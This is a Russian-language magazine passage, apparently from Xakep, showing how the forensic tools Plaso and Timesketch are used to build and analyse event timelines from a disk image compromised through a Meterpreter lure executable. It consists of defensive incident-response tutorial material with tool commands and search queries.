ике устан­ овоч­ный пакет Visual Studio 2017 (имен­но с  ним у  меня все получи­лось). Запус­ти устан­ ов­ку и  выбери в  раз­деле Individual components ком­понент VC++ 2015.3 v14.00 (v140) toolset for desktop. Пос­ле это­го все зависи­мос­ти уста­новятс­ я через pip. Набор инструментов В сост­ ав Plaso вхо­дит нес­кольк­ о утил­ ит, они находятс­ я в каталог­ е tools. image_export  — ути­лита для  извле­чения из  устрой­ства или  его образ­ а фай­лов по разл­ ичным кри­тери­ям: начиная c расш­ ирения и путей, закан­чивая сиг­натурам­ и и  вре­менем соз­дания или  модифик­ ации. Кро­ме того, данн­ ый инст­ рум­ ент пос­ле извлеч­ ения файл­ ов сге­нери­рует файл hashes.json, в  который попадут хеш‑зна­чения всех извлеч­ енн­ ых фай­лов для  дальн­ ейшей про­вер­ки, нап­ример на VirusTotal. При­меры запус­ка: py image_export.py disk1.dd Па­рамет­ры --names, --extensions и  --date-filter не  долж­ ны выз­вать у  тебя никаких вопр­ осов, расс­ мот­рим под­робнее тольк­ о извле­чение по  сиг‐­ натурам. py image_export.py --signatures list Эта коман­да выведет все опи­санн­ ые в  data\\signatures.conf сигн­ атуры, которые мож­но поиск­ ать сред­ и иссле­дуемых фай­лов для извле­чения. Понят‐­ ное дело, в кон­фиге записан­ ы толь­ко базовые сигн­ атуры на все случ­ аи жизн­ и, но никт­ о не меша­ет самост­ оятель­но добавить в кон­фиг строк­ у с необх­ одимой тебе спец­ ифи­ческ­ ой сиг­натурой файл­ а, глав­ное при  этом  — выб­рать уни‐­ кальн­ ый иден­тифика­тор. Нап­ример, извлечь все фай­лы Windows PE мож­но с  исполь­зовани­ем готовой сигн­ атуры exe_mz: py image_export.py --signatures exe_mz disk1.dd log2timeline  — основной инс­трум­ ент, с  которо­го, собс­твен­но, две­надц­ ать лет назад все и  началось. Он использ­ уетс­ я для  извле­чения разн­ ых событий из  файл­ ов, катало­гов (нап­ример, точек мон­тирова­ния), устройс­ тва или  его обра­за. В  резуль­тате работы ути­лита форм­ ируе­ т файл в  фор­мате Plaso, в даль­нейшем он и будет исполь­зоватьс­ я для анал­ иза. Вот как выгл­ ядит станд­ ар­тный запуск: py log2timeline.py --storage-file output_file disk1.dd Все виды файл­ ов, из которых может быть извле­чена полез­ная для фор­миру‐­ емог­ о тайм­ лайн­ а информац­ ия, находят­ся в  катало­ге test_data, а  непос‐­ редст­ вен­но сами парс­ еры разм­ ещены в  каталог­ е plaso/parsers. Так что, если понадо­битс­ я дорабо­тать либо раз­работать новый пар­сер для какого‑то особ­ енн­ ого фор­мата фай­ла, ты зна­ешь, где начинать копать! ;) От­дельн­ о сто­ит отме­тить использ­ ование опции --process-archives. Она может сильн­ о увел­ ичить вре­мя работы утил­ иты, одна­ко, как  ты понима­ешь, в  каком‑нибудь архив­ е может быть слу­чайн­ о обна­руже­на важн­ ая ули­ка, забытая зло­умыш­ленник­ ом. Зам­ еча­тельн­ ое свойс­ тво log2timeline  — интегра­ция с  прав­ ила­ми YARA. Что­бы добавить в  результ­ аты тайм­ лайн­ а све­дения о  сраб­ атыв­ ани­ях прав­ ил YARA, необх­ одимо запуст­ ить инс­тру­мент с ключ­ ом --yara_rules. py log2timeline.py --storage-file output_file --process-archives --yara_rules rules.yar disk1.dd где rules.yar  — предв­ аритель­но под­готовл­ енный тобой файл с  пра­вилам­ и YARA. Есл­ и пред­варительн­ о добыть опен­сорс­ ные пра­вила (к при­меру, от  Clam AV) и сконв­ ертир­ овать их в форм­ ат YARA, то в итог­ е из незамыс­ловатой ути‐­ литы log2timeline начина­ет прев­ращатьс­ я в мощ­ный инс­тру­мент. pinfo — ути­лита для вывода информа­ции о содерж­ имом фай­ла Plaso, нап‐­ ример верс­ иях, парс­ ерах, типах событий, попав­ших в  отчет, их количест­ ве и ошиб­ках. При анал­ изе быва­ет полезн­ а опция -v, которая допол­нительн­ о выведет под­робную информа­цию об  име­ни компь­юте­ра, точн­ ую вер­сию ОС и информац­ ию о польз­ овате­лях. psort — утил­ ита, которая позв­ олит выпол­нить дополн­ итель­ную обраб­ от­ку и сконв­ ерти­ровать полученн­ ый ранее файл Plaso в фор­мат, в котором будет вест­ ись его дальн­ ейший анал­ из. При  его запус­ке не  забывай использ­ овать опцию --output-time-zone для того, чтоб­ ы потом в ходе ана­лиза к врем­ ен‐­ ным метк­ ам (которые по  умол­чанию в  UTC) не  приб­ ав­лять нуж­ный тебе часовой пояс. Зап­ ус­кая утил­ иту с  опцие­ й --analysis plugin и  на основ­ ании обра‐­ ботан­ных событий ты получишь высокоу­ ровн­ евую информа­цию от  плаг­ ина, напр­ имер о  наличии сред­ и всех исслед­ уемых файл­ ов вре­доно­сов, ког‐­ да‑либо загр­ уженн­ ых на  VirusTotal. При­чем запуск­ ать этот плаг­ ин мож­но без бояз­ни слить в облак­ о какую‑то чувст­ ви­тельн­ ую для заказ­чика информа‐­ цию, пос­коль­ку пров­ ер­ка идет исключ­ итель­но по  хеш‑знач­ ени­ям, пос­читан‐­ ным на  этап­ е сбор­ а данн­ ых. Понятн­ о, что для  работы с  этим пла­гином пот‐­ ребу­ется API-ключ от сер­виса. Так­же есть под­дер­жка работы с фрей­мворк­ ом Viper, в котором у тебя могут быть собс­твенн­ ые накоп­ления мал­вари. Опц­ ии --slice и  --filter позв­ оляю­ т выбр­ ать опре­делен­ные события в  диапаз­ оне неск­ оль­ких минут от  момент­ а инте­ресую­ ще­го тебя события, одна­ко их подр­ обно расс­ матр­ ивать в этой статье не будем. Кон­вертир­ овать события можн­ о в  разн­ ые фор­маты, в  том чис­ле в  CSV, XLSX и JSON, для выбора форм­ ата использ­ уй опцию -o. psteal — утил­ ита, объ­еди­няющая в себе фун­кции log2timeline и psort. Лич‐­ но я поль­зовалс­ я ей все­го один раз, и то чист­ о из любопытст­ ва. Спис­ ок опций небольш­ ой. Однак­ о как  экс­пресс‑средс­тво в  каких‑то опре­деленн­ ых ситу‐­ ациях вполн­ е может подойт­ и. Использование Теп­ ерь, ког­да прим­ ер­но понятн­ о, для чего козе все эти музыкальн­ ые инст­ ру‐­ мен­ты, давай поп­робу­ем их в деле. Для начала запуст­ им сбор логов: py log2timeline.py --storage-file \"d:\\Work\\!Статья\\test_case_1.plaso\" \"d:\\Work\\!Статья\\dd\\disk1.dd\" Есл­ и Plaso обнар­ ужит теневые копии томов, то он радост­ но отрап­ орт­ ует о том, что готов выг­рести все дос­тупные события в том числ­ е и из них. Сог‐­ лаша­емся со  все­ми его предл­ ожени­ями и  идем пить кофе и  читать «Хакер». Отвед­ ен­ное на  это вре­мя зависит от  ресурс­ ов тво­его ком­па и  объ­ема дан‐­ ных, которые пост­ упили на вход. Ког­да комп­ ро­мета­ция сис­темы была давн­ о и зло­дей долг­ о в ней копошил‐­ ся, а  в конц­ е почис­тил за  собой логи, из  теневых копий иног­да все рав­но мож­но вытащить мног­ о информац­ ии, даже без использ­ ования Sysmon. INFO По ста­тис­тике, которая пару лет назад попалась мне на  гла­за, средн­ ий пери­од нахож­дения зло‐­ умышл­ енник­ а в  скомп­ ром­ ети­рован­ной сист­ еме сос­тавляе­ т поч­ти девять месяцев! Именн­ о поэтом­ у злод­ еи очень любят при  отхо­де запус­кать еще  и крип‐­ толокер. Одна­ко это  в больш­ инс­тве слу­чаев далеко не  так эффективн­ о, как кажет­ся на пер­вый взгляд. По окон­чании работы утил­ иты (в моем слу­чае сбор логов занял прим­ ерн­ о час) можн­ о переход­ ить к ана­лизу. Да­вай запус­тим pinfo и  пос­мотрим, что он ска­жет нам об  исслед­ уемом обра­зе. py pinfo.py -v d:\\Work\\!Статья\\test_case_1.plaso Кро­ме парамет­ров, с которым­ и выполн­ ялся сбор дан­ных из обра­за, мы видим спис­ ок всех пар­серов и  плаг­ инов, которые были прим­ енен­ ы. Если вдруг какого‑то типа событий в образ­ е обна­ружить не удал­ ось, хотя ты уве­рен, что они там точн­ о долж­ ны при­сутс­тво­вать, прид­ ет­ся переза­пуст­ ить log2timeline и при­нуди­тельн­ о указ­ ать инте­ресу­ющий тебя парс­ ер (такое, напр­ имер, быва‐­ ет, если нуж­но собирать логи из сист­ емы в форм­ ате evt). Так­же pinfo опре­делил верс­ ию устан­ овл­ енной ОС и  ее хос­тнейм и  вывел информац­ ию о  поль­зовате­лях и  путях к  их домаш­ним каталог­ ам. Эта информац­ ия может быть полез­на в слу­чаях, если какой‑то домаш­ний каталог хра­нитс­ я на уда­лен­ном серв­ ере. Тог­да при­дет­ся допол­нительн­ о скар­мли­вать Plaso отдель­но скоп­ иро­ванн­ ую с  серв­ ера папк­ у с  польз­ овательс­ ким катало‐­ гом. Итог­ о за  почт­ и что час работы Plaso вытащил из  образ­ а  1  116  040  событий. Гляд­ я на  вывод pinfo, уже сей­час можн­ о при­мерн­ о предп­ оложить, сколь­ко событий из какой катего­рии нам пред­сто­ит проа­ нал­ изир­ овать и какие модули для автом­ ати­чес­кого ана­лиза дадут наибол­ ее интер­ есн­ ый результ­ ат. Для срав­нения давай посм­ отрим на  диагр­ амму событий, извле­чен­ных из  обра­за, в  котором я затирал логи с  помощью clearev. Как  видишь, Plaso смог извлечь все­го на три тысячи мень­ше событий типа winevtx, и если пос‐­ мотреть раз­ницу в  диагр­ аммах, то ста­нет понятн­ о, что карт­ ина изме­нилась несильн­ о, свид­ етель­ств ком­про­метац­ ии сист­ емы, веро­ятно, стал­ о даже боль‐­ ше. Да­вай запус­тим psort и  поп­робу­ем порабо­тать с  резуль­татами его анал­ иза безо всяк­ их рас­ширений. py psort.py --output-time-zone Europe/Moscow --output-format l2tcsv -w d:\\Work\\!Статья\\test_case_1.csv d:\\Work\\\\!Статья\\test_case_1.plaso Один взгляд на  CSV объе­ мом более  300  Мбайт вызывае­ т у  неис­кушен­ного зри­теля смерт­ ельн­ ую тос­ку. Давай пока немн­ ого попр­ окраст­ иниру­ем и  пос‐­ мотрим, что еще мож­но сдел­ ать, преж­де чем встав­лять себе спич­ки в гла­за. Дав­ ай пред­положим, что польз­ ователь компью­ тер­ а внез­ ап­но вспомн­ ил, как  25-го чис­ла текущег­ о месяца ему пос­тупило очень заманч­ ивое пред‐­ ложение получить от  Илон­ а Маск­ а бит­койн, ссылк­ а на  который приш­ла по  почт­ е. Посм­ отрим, чем нам может помочь эта информа­ция и  скрипт image_export: $ py image_export.py --date-filter \"atime,2021-08-25 09:00:00, 2021-08-25 18:30:00\" --signatures exe_mz -w d:\\Work\\!Статья\\e xtracted d:\\Work\\!Статья\\dd\\disk1.dd Внез­ апн­ о в  каталог­ е Downloads поль­зовател­ я обна­ружи­ваетс­ я исполня­емый файл с  крайн­ е подозр­ ительн­ ым наз­вани­ем free_bitcoins_from_Musk.exe. Давай нач­нем поис­ки в нашем тай­млайн­ е имен­но с этог­ о события. Вос­поль‐­ зуем­ся grep. $ grep free_bitc test_case_1.csv > free_bitc.csv Так уже нам­ного лучш­ е. Я поз­волил из  получен­ного вывода в  55  событий отобр­ ать шесть наибо­лее любопыт­ных. В списк­ е событий перед нами вид­но, что поль­зователь в 16:07:44 с помощью бра­узе­ра Edge дей­стви­тель­но ска­чал подозр­ ительн­ ый бинарь и  спуст­ я пару мгнов­ ений запуст­ ил его. След­ ующим событие­ м мы наб­людае­ м уста­новл­ ение сетево­го соеди­нения от  запущенн­ ого проц­ ес­са на  удал­ ен­ный адрес 192.168.79.131:7788. И букв­ альн­ о через 30 секунд видим взаи­ мод­ ей‐­ ствие прил­ ожен­ ия с проц­ есс­ ом vmtoolsd.exe. Так­ ая посл­ едоват­ ельн­ ость событий очень харак­терна и  сви­детель­ствуе­ т о  том, что запущен­ный в  конт­ екс­ те проц­ есс­ а Meterpreter успешно переко‐­ чевал в  конт­ екст проц­ есс­ а допол­нений гост­ евой ОС. Пос­ледняя запись на скрин­ е сви­детель­ству­ет о том, что в 17:08:59 при очер­ едн­ ой попытк­ е вхо‐­ да в  сист­ ему шелл был заново запущен. То есть, пока польз­ ователь не  заподозр­ ил что‑то неладн­ ое, наш зло­дей успел зак­репить­ся в  сис­теме одним из извест­ ных ему спо­собов. Для инте­реса ищем интер­ есу­ющие нас шесть событий в  тайм­ лайн­ е с  «затер­тыми след­ ами» и  внез­ апн­ о обна­ружи­ваем, что все шесть из  шест­ и событий ока­зались на мес­те. It’s a trap! Как минимум мы получил­ и внят­ные вре­менн­ ые отрезки, в  которые шло про­ник­новение в сис­тему, и можем теперь отоб­рать события за этот пери­од. Да­вай заново запус­тим psort, тольк­ о теперь добавим фильт­ ром инте­ресу‐­ ющие нас отрезки вре­мени. Не забывай, что в данн­ ом слу­чае мы фильт­ ру­ем с ука­зание­ м вре­мени в UTC. py psort.py --output-time-zone Europe/Moscow --output-format dynamic -w d:\\Work\\!Статья\\test_case_1_attack_time.csv -q d:\\Work\\\\!Статья\\t est_case_1.plaso \"date < '2021-08-25 14:20:00' and date > '2021-08-25 13:07:00'\" Ждем пару минут и смотр­ им на результ­ ат. Неп­лохо, мы сумели уменьш­ ить физическ­ ий объ­ем в  16  раз, а  смысл­ овой в 20 раз (57 тысяч событий прот­ ив 1,1 милл­ иона). Дав­ ай немн­ ого поск­ рол­лим этот файл. На­чиная при­мерн­ о с  записи под  номером  1500  и  до  30  000  мы набл­ юдае­ м одни и те же события. Такая кар­тина сви­детельс­ твуе­ т о том, что наш про­тив‐­ ник с  использ­ ование­ м авто­матич­ ес­кого инс­трум­ ент­ а обхо­дил содерж­ имое дис­ка в поис­ках чего‑то его инте­ресу­юще­го (под­сказк­ а: фай­лов с подст­ ро­кой passw). Понимая при­роду этих событий, их можн­ о скрыть из  анал­ иза, тем самым сни­зив наг­рузку на себя любимог­ о еще раза в два. Даль­нейший ана­лиз свод­ итс­ я к фильт­ ра­ции событий по катего­риям и вни‐­ мательн­ ому ана­лизу их в  цепоч­ках. В  качес­тве домаш­него задания можешь поиг­рать­ся с плаг­ ином tagging для psort. ЗАКЛЮЧЕНИЕ Се­годн­ я нам с тобой удал­ ось посм­ отреть на прим­ ер очень эффектив­ной ути‐­ литы, друж­ба с которой откры­вает крим­ инал­ ист­ у широкие воз­можност­ и: поз‐­ воляе­ т взять след киберп­ рест­ упни­ка и  опи­сать его прикл­ ючения в  иссле‐­ дуемой сист­ еме. Даже если наш товарищ (который, в  общем‑то, нам не  товарищ) ока­жетс­ я осто­рож­ным и  попыта­ется замес­ти за  собой след­ ы, далеко не всегд­ а это поможет ему. В след­ ующий раз мы поговор­ им о  более высоко­уров­невых инст­ рум­ ент­ ах ана­лиза тайм­ лайн­ ов, которые генерир­ ует Plaso.

COVERSTORY ЦИФРОВОЙ ДЕТЕКТИВ ИСПОЛЬЗУЕМ TIMESKETCH ДЛЯ РАБОТЫ С ТАЙМЛАЙНАМИ PLASO sUzU [email protected] При расс­ ле­дова­нии инцид­ ен­тов важ­но уста­новить точ­ное врем­ я и  спос­ об комп­ ро­мета­ции сис­темы, чтоб­ ы затем рас‐­ крут­ ить весь ряд дейс­ твий злоу­ мышл­ енник­ а. Сегодн­ я мы про­делае­ м имен­но это, исполь­зуя инст­ рум­ ент Timesketch. В качес­тве исходных дан­ных нам посл­ ужит файл Plaso, который мы получи­ли в  прош­лой статье «Тай­млайн всег­ о. Исполь­зуем Plaso для  сбо­ра сис­темных событий», где мы извле­кали из образ­ а атак­ ован­ного компью­ те­ра все события и объ­екты, име­ющие хоть какую‑то вре­менн­ ую мет­ку, и очер­тили при­мерн­ ую схе­му поиск­ а инте­ресу­ющих нас событий. Прод­ укт­ ивнее и  веселее решать задачи колл­ ективн­ о  —  для форенз­ ики это  тоже вполн­ е спра­вед­ливо. Поэто­му homo forensicus воору­жены инст­ ру‐­ мен­тами колл­ ективн­ ой работы, и один из них — это Timesketch. Это опен­сорс­ ный про­ект, пред­назна­чен­ный для сов­мест­ но­го ана­лиза тай‐­ млай­нов событий. Внутр­ и у  него раз­мещае­ тся мощ­ный восьм­ ицилин­дров­ ый elasticsearch (по ходу статьи буду использ­ овать сок­ращение ES), что (при пра‐­ виль­ной кон­фигура­ции) ведет к  авто­мати­чес­кому нас­ледова­нию про­ектом всех его основных фишек: масш­ та­бируе­ мость, отка­зоус­той­чивость и высокую ско­рость при  поис­ке сре­ди сотен мил­лионов событий вку­пе с  повышен­ным расх­ одом ресур­сов твое­ го комп­ а. УСТАНОВКА Уст­ ановить ты можешь как  ре­лиз­ный вари­ант, так и  dev-вер­сию. Во  втор­ ом слу­чае появит­ся воз­можность внос­ ить свои прав­ки в код, а такж­ е накатыв­ ать самые свеж­ ие ком­миты. Но если нарв­ ешь­ся на све­жие баги — пеняй на себя и не забывай репорт­ ить их. Мы пос­тавим релизн­ ую вер­сию на  вир­туал­ку с  Ubuntu 20.04  и  прикр­ утим свер­ху Kibana. INFO Когд­ а име­ешь дело с  про­екта­ми, пост­ ро­енным­ и на ES, никогд­ а не лиш­ним будет добавить Kibana. Так мож­но всегд­ а без  проб­лем разобр­ ать­ся с  прои­ сход­ ящим­ и внутр­ и базы проц­ ес­сами и отлов­ ить неш­татные ситуа­ ции. Пе­репеч­ атыв­ ать коман­ды из  офи­циаль­ной инст­ рукц­ ии нет смыс­ла, поэтом­ у будем счит­ ать, что уста­нов­ка заверш­ илась успешно. Пров­ ерить это  мож­но вот такой коман­дой: $ sudo docker ps -a Есл­ и все сдел­ ано прав­ иль­но, вывод дол­жен быть прим­ ерн­ о след­ ующим. Теп­ ерь выведем из  докер‑конт­ ейн­ ера порт с  ES наружу  — для  того, чтоб­ ы до него мог­ла дост­ учать­ся Kibana. $ sudo nano /opt/timesketch/docker-compose.yml В раз­дел elasticsearch добавим разд­ ел ports с  указ­ ани­ем пробр­ асыва‐­ емо­го порт­ а. WARNING Эта кон­фигурац­ ия подх­ одит толь­ко для  сво­ей собст­ вен­ной тес­товой вер­сии ES, к  которой нет дос­тупа ни  у кого пост­ оронн­ его. ES не  име­ет встрое­ нных механиз­мов авто­ризац­ ии, и  любой желаю­ щий при  таком раск­ лад­ е запр­ осто может получить дост­ уп ко всей базе. Если тебе понадо‐­ бит­ся ана­логич­ное решение в  про­дак­шене, исполь­зуй надс­тройк­ у X-Pack. Ост­ алось прикр­ утить сюда Kibana. В нашем слу­чае из скри­на выше видим, что в  про­екте использ­ уетс­ я elasticsearch-oss:7.10.2, соот­ветст­ вен­но, и Kibana долж­ на быть той же вер­сии. Ска­чива­ем и ста­вим kibana-oss: $ wget https://artifacts.elastic.co/downloads/kibana/kibana-oss-7.10. 2-linux-x86_64.tar.gz $ tar -xzf kibana-oss-7.10.2-linux-x86_64.tar.gz $ cd kibana-7.10.2-linux-x86_64 Под­прав­ им конф­ иг, чтоб­ ы до интерфей­са «Кибаны» мож­но было дос­тучатьс­ я: $ nano config/kibana.yml Для это­го рас­коммен­тируе­ м параметр server.host и  ука­жем IP-адрес вир‐­ туал­ки. Стар­туем Kibana и смотр­ им, что все успешно завелось. $ /bin/kibana Ос­талось созд­ ать поль­зовател­ ей — и мож­но логинитьс­ я в сист­ ему. $ sudo docker-compose exec timesketch-web tsctl add_user --username user1 →Продолжение статьи

COVERSTORY ← НАЧАЛО СТАТЬИ ЦИФРОВОЙ ДЕТЕКТИВ ИСПОЛЬЗУЕМ TIMESKETCH ДЛЯ РАБОТЫ С ТАЙМЛАЙНАМИ PLASO ИСПОЛЬЗОВАНИЕ Созд­ адим новый скетч (кнопк­ а New investigation) и  залье­ м в  него дан­ные, которые мы сге­нери­рова­ли в прош­лый раз (кнопк­ а Upload timeline). Я созд­ ал два скет­ча и  залил дан­ные в  каж­дый. Пос­ле непр­ одол­жительн­ ого ожи­дания загл­ янем в Kibana, и в раз­деле dev tools выполн­ им коман­ду: GET /_cat/indicies?v Как видим, для  каж­дого скетч­ а в  ES соз­дает­ся отдельн­ ый индекс, в  который попада­ют события из  каж­дого загр­ уженн­ ого файл­ а Plaso, т.  е. один и  тот же файл Plaso при заг­рузке его в разн­ ые скетч­ и будет обраб­ аты­ватьс­ я повт­ орно. Посм­ отрим, как дан­ные мап­пятся, чтоб­ ы понимать, как потом эффектив­но с ними работать GET /9024dbca65494d1da2dc4758b169f1d9/_mapping Все тек­стов­ ые дан­ные мап­пятся по сле­дующей схе­ме: { \"type\": \"text\", \"fields\" : { \"keyword\": { \"type\" : \"keyword\", \"ignore_above\" : 256 } } } Есл­ и ты немн­ ого зна­ком с ES, то в кур­се, что перед тобой динами­чес­кий мап‐­ пинг. Такая схе­ма исполь­зуетс­ я, потому что раз­работ­чикам было лень замора­чиватьс­ я Timesketch может груз­ ить абсол­ ют­но любые посл­ едоват­ ель‐­ нос­ти событий из  разл­ ичных источник­ ов, и  пред­ усм­ отреть уни­вер­саль­ную схем­ у мапп­ инга с чет­ким наз­вани­ем всех полей не так‑то и прос­то. Зато такая схем­ а поз­воляе­ т осущ­ ест­влять как пол­нотекс­ тов­ ый поиск, так и агре­гиро­вать и  сор­тировать дан­ные по  кажд­ ому полю в  индексе, что несом­ненно дает мно­го преи­ мущ­ еств, если ты уме­ешь этим польз­ оватьс­ я (и пле­вать на исчезно­вение сво­бод­ных гигабайт­ ов на твое­ м жест­ ком дис­ке). Дав­ ай переход­ ить к  осмотру пацие­ нта. Пос­мотрим, какие инс­трум­ ент­ ы у нас для это­го есть. Explore Эта вклад­ка — основной инст­ рум­ ент для поис­ка событий в тай­млайн­ е, в том чис­ле с  при­менен­ ием филь­тров и  гра­фиков. У  тебя такж­ е есть возм­ ожность добавл­ ять ком­мента­рии к интер­ есу­ющим событи­ям, соз­давать пометк­ и и сох‐­ ранять view для их даль­нейше­го исполь­зования в Stories. INFO Поск­ ольк­ у каж­дый скетч  — отдель­ный индекс в ES, можн­ о не боять­ся пов­редить в ходе работы чужие комм­ ентар­ ии или пометк­ и в друг­ ом скетч­ е. Это  край­не важ­но в  мног­ ополь­зовательс­ ких forensic-сис­темах. Имен­но поэто­му в дан­ном про‐­ екте прим­ еня­ется не самая логич­ная с виду сис‐­ тема хран­ ения дан­ных (с повт­ орной заг­рузкой и дуб­лирован­ ием хран­ имых данн­ ых). Дав­ ай не будем пока что копатьс­ я в отдельн­ ых события­ х, а поп­робуе­ м визу‐­ альн­ о оце­нить наш скетч. Для это­го перед­винем полз­ унок chart в положен­ ие «вкл» под  стро­кой с  запр­ осом и  пос­мотрим на  пос­трое­ нную диаг­рамму событий. Сам­ ый высокий столб­ ик означ­ ает, что в  сис­теме в  этот момент про­изош­ло крайн­ е мног­ о событий, что зачас­тую сви­детель­ствуе­ т о  чем‑то любопытн­ ом с точ­ки зре­ния форенз­ ики. Давай нажм­ ем на него — в резуль­тате авто­мати‐ чес­ки при­менит­ся вре­менн­ ой филь­тр и  мож­но будет детальн­ ее пос­мотреть на прои­ сход­ ящие в этот момент про­цес­сы. Люб­ опыт­но! Мы букв­ аль­но в два клик­ а сумели обна­ружить события из прош‐­ лой статьи. Напом­ню: они сви­детель­ствую­ т о  том, что наш прот­ ивн­ ик с исполь­зование­ м автом­ атич­ ес­кого инст­ ру­мент­ а обхо­дил содер­жимое дис­ка в поиск­ ах интер­ ес­ных вещей. Да­вай сохр­ аним этот запр­ ос, нажав кнопк­ у Save this search, и  попр­ обуе­ м понять, нашел ли зло­умыш­ленник то, что искал. Ду­маю, ты в  курс­ е, что польз­ овател­ и любят хран­ ить (или забываю­ т уда‐­ лить) всяк­ ую важн­ ую информа­цию на рабочем сто­ле, в пап­ке загр­ узок и про‐­ чих подобн­ ых мест­ ах. В  боль­шинс­тве случ­ аев зло­умышл­ енник­ и, ввид­ у нех‐­ ватки врем­ ени, осу­щест­вля­ют сбор личн­ ой информа­ции о польз­ овател­ е в том же поряд­ке. То есть от  прос­тых и  самых расп­ ростран­ ен­ных ситу­аций идут к сложн­ ым и ред­ким. Дав­ ай теперь добавим к  сущес­тву­ющем­ у вре­мен­ному филь­тру минут  5  свер­ху (негодяю нужн­ о врем­ я, что­бы понять, какой файл утащ­ ить с ком­па), а в поиск­ овой стро­ке напишем зап­рос: *Documents* OR *Desktop* OR *Downloads* На выходе имее­ м 1266 событий. Давай глян­ ем, какая подр­ обная информа­ция о выб­ранных событи­ях нам дос­тупна. Одн­ о из  клю­чевых полей кажд­ ого события  — parser, оно поз­воляе­ т понять, откуд­ а Plaso получил его. Удоб­но быва­ет отфильт­ ров­ ать в  выводе тип событий, нажав на кноп­ку в перв­ ом или втор­ ом стол­бце (по смыс­лу это при‐­ менен­ ие логическ­ их И или НЕ в зап­росе). Да­вай это  использ­ уем. Поск­ ольк­ у мы прим­ ерн­ о пред­ставл­ яем алгор­ итм поиск­ а инте­ресу­ющих файл­ ов на  файл­ овой сис­теме (конк­ рет­но это: про­ход по всем каталог­ ам и под­катало­гам, получен­ ие спис­ка файл­ ов из них, получе‐­ ние дос­тупа к инте­ресу­ющим файл­ ам), мы можем попытатьс­ я понять, были ли какие‑то фай­лы похище­ны. Выберем из  событий любое с  парамет­ром parser:filestat и  file_entry_type:directory и  добавим их в  фильт­ р с параметр­ ами AND и NOT. Это будет экви­валент­ но такому запр­ осу: (*Documents* OR *Desktop* OR *Downloads*) AND parser:filestat AND NOT file_entry_type:directory Вуа­ ля! Перед  нами  17  событий, сре­ди которых дост­ уп к  файл­ у с  паролям­ и польз­ овате­ля my_passwords.rtf. Можн­ о отправл­ ять поль­зовате­ля менять все пароли от всех серв­ исов. INFO Собр­ анные нами события не  имею­ т никако­го отно­шения к журн­ алам, которые были стар­ атель‐­ но зачищен­ ы коман­дой clearev из Meterpreter. В прошл­ ый раз наводк­ у на инцид­ ент нам дал сам поль­зователь. А теперь мы без  подс­ казк­ и «зво­нок друг­ у» попыта­емся понять, какое непот­ребст­ во при‐­ вело к  тому, что злоу­ мыш­ленни­ку откры­лись две­ри к  паролям польз­ овате­ля. Для этог­ о в Plaso есть пот­рясаю­ ще полезн­ ый пар­сер prefetch и соот­ветс­тву‐­ ющий тип дан­ных: data_type:windows:prefetch:execution INFO Prefetcher — один из комп­ онен­тов Windows, пред‐­ назна­чен­ный для  опти­миза­ции запус­ка исполня‐­ емых фай­лов в  сист­ еме. Для  свое­ й работы он соз­дает спе­циаль­ные структ­ уры данн­ ых, которые хран­ ит на  дис­ке в  каталог­ е Windows\\ Prefetch. Нарав­не с  ана­лизом логов, файл­ ы prefectch  — кла­дезь информац­ ии для  кри‐­ мина­лис­та. Дав­ ай исполь­зуем этот тип данн­ ых в  качест­ ве фильт­ ра, а  такж­ е для  пер­вого осмотра исклю­чим из вывода все исполня­емые фай­лы, которые были запуще‐ ны из каталог­ ов Windows или Program Files. Зап­рос в данн­ ом случ­ ае будет выг­лядеть так: data_type:windows:prefetch:execution AND NOT path_hints: \"WINDOWS\" OR NOT path_hints: \"Program\" Од­ним прост­ ым запр­ осом мы в пер­вых же 25 события­ х увид­ ели, что из папк­ и Downloads запус­кался файл с заман­чивым назв­ ани­ем. Внимание, конкурс! Хо­чешь выиг­рать фут­болку с  логоти­пом любимо­го жур­нала? Кажетс­ я, наш прот­ ив­ник чита­ет рубр­ ику «Взлом». Попр­ обуй понять, какие при­емы он исполь­зовал для  закр­ епле­ния в  сис­теме, опиш­ и их и  скинь перв­ ым в  ком‐­ мента­рии вмес­те со  ссылк­ ой на  статью, которой вдох­новлял­ся злоу­ мыш‐­ ленник. Для это­го возь­ми мой файл CSV, загр­ узи его в Timesketch и поп­робуй свои силы! • Подс­ казк­ а 1. Исполь­зовалось 2 при­ема! • Под­сказ­ка 2. Я угад­ аю их с 11 нот симв­ олов в запр­ осе. Aggregate Пос­мотрим теперь, как  так получил­ ось, что нес­мотря на  попыт­ки зачис­тить информац­ ию о  свои­ х дей­ствия­ х, фак­ты все равн­ о вышл­ и наружу. Для  этог­ о перей­дем во вкладк­ у Aggregate. Эта вклад­ка позв­ оля­ет груп­пировать инте­ресу­ющие тебя события, выводить стат­ ис­тику по при­менен­ным филь­трам, строи­ ть табл­ ицы и граф­ ики, а такж­ е находить ано­малии в груп­пах событий. Да­вай поп­робу­ем оце­нить, какие события про­исход­ или в  момент, ког­да был запущен поиск интер­ есу­ющег­ о фай­ла на  фай­ловой сис­теме. Для  это­го выберем поле parser в  качест­ ве груп­пирую­ ще­го и  зададим опре­делен­ные ранее врем­ ен­ные рамк­ и. «Наж­ми на кнопк­ у, получишь резуль­тат!» Дейс­ твит­ ель­но, как мы и пред­полага­ли, основная мас­са отно­сит­ся к событи‐­ ям, добытым из  пар­сера filestat, то есть это  события фай­ловой сис­темы, которые clearev зачищать не уме­ет. Пар­сер winreg/amcache остался в дан‐­ ном слу­чае не у дел по прич­ ине того, что обра­зы были сня­ты в разн­ ое вре­мя. Соот­ветс­твен­но, события, которые попада­ют в  amcache.hve, прос­то перетерл­ ись более све­жими. Так что пробл­ ема в  данн­ ом случ­ ае скор­ ее в чис­тоте экспе­римен­та, чем в каких‑то чудо‑воз­можност­ ях Meterpreter. При­меча­тельн­ о, что по  граф­ икам, которые стро­ятся в  текущей вкладк­ е, можн­ о клик­ ать. Ког­да ты нажима­ешь на интер­ есу­ющий тебя элем­ ент, откры‐­ ваетс­ я вклад­ка Overview, где будут сра­зу прим­ енен­ ы необх­ одимые филь­тры. Такж­ е граф­ ики, которые ты пос­трои­ л и которые зас­лужива­ют дальн­ ейше­го вни­мания, мож­но сохр­ анить для исполь­зования в Stories, нажав соот­ветс­тву‐­ ющую кноп­ку. Analyze От­дельн­ о стои­ т обрат­ ить вним­ ание на  вклад­ку Analyze. Чего грех­ а таить, на  самом деле боль­шинс­тво кейс­ ов начинае­ тся именн­ о с  нее. Timesketch пос­тавляе­ тся с больш­ им набором встро­енных анал­ изат­ оров, использ­ ование которых поз­воляе­ т авто­мати­чес­ки отмет­ ить тегами разн­ ые групп­ ы событий, которые брав­ ыми бой­цами DFIR уже дав­но запр­ 